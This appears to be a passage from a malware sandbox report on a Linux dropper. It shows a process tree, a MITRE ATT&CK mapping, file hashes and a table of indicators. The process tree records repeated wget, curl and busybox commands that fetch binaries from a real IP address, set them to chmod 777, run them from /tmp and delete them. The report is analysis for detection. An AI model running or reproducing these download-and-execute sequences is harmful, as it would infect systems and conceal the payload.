- /bin/rm
  rm UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  PID:967
- /usr/bin/wget
  wget http://66.63.187.225/bins/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  PID:968
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:969
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  PID:970
- /bin/chmod
  chmod 777 6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  - File and Directory Permissions Modification
  PID:971
- /tmp/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  ./6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  - Executes dropped EXE
  PID:972
- /bin/rm
  rm 6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  PID:973
- /usr/bin/wget
  wget http://66.63.187.225/bins/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  PID:974
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:975
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  PID:976
- /bin/chmod
  chmod 777 JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  - File and Directory Permissions Modification
  PID:977
- /tmp/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  ./JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  - Executes dropped EXE
  PID:978
- /bin/rm
  rm JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  PID:979
- /usr/bin/wget
  wget http://66.63.187.225/bins/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  PID:980
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:981
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  PID:982
- /bin/chmod
  chmod 777 8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  - File and Directory Permissions Modification
  PID:983
- /tmp/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  ./8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  - Executes dropped EXE
  PID:984
- /bin/rm
  rm 8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  PID:985

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11

Path /tmp/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11	744	8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
/tmp/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP	750	5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
/tmp/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT	770	8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
/tmp/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh	807	BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
/tmp/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0	813	so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
/tmp/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK	843	Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
/tmp/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz	855	M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
/tmp/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd	861	44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
/tmp/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH	867	0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
/tmp/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG	876	UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
/tmp/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2	882	JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
/tmp/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU	888	pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
/tmp/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5	894	UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
/tmp/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27	900	6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
/tmp/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT	906	8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
/tmp/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh	912	BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
/tmp/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0	918	so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
/tmp/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK	924	Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
/tmp/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz	930	M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
/tmp/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd	936	44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
/tmp/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH	942	0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
/tmp/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP	948	5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
/tmp/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG	954	UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
/tmp/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU	960	pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
/tmp/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5	966	UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
/tmp/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27	972	6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
/tmp/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2	978	JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
/tmp/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11	984	8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11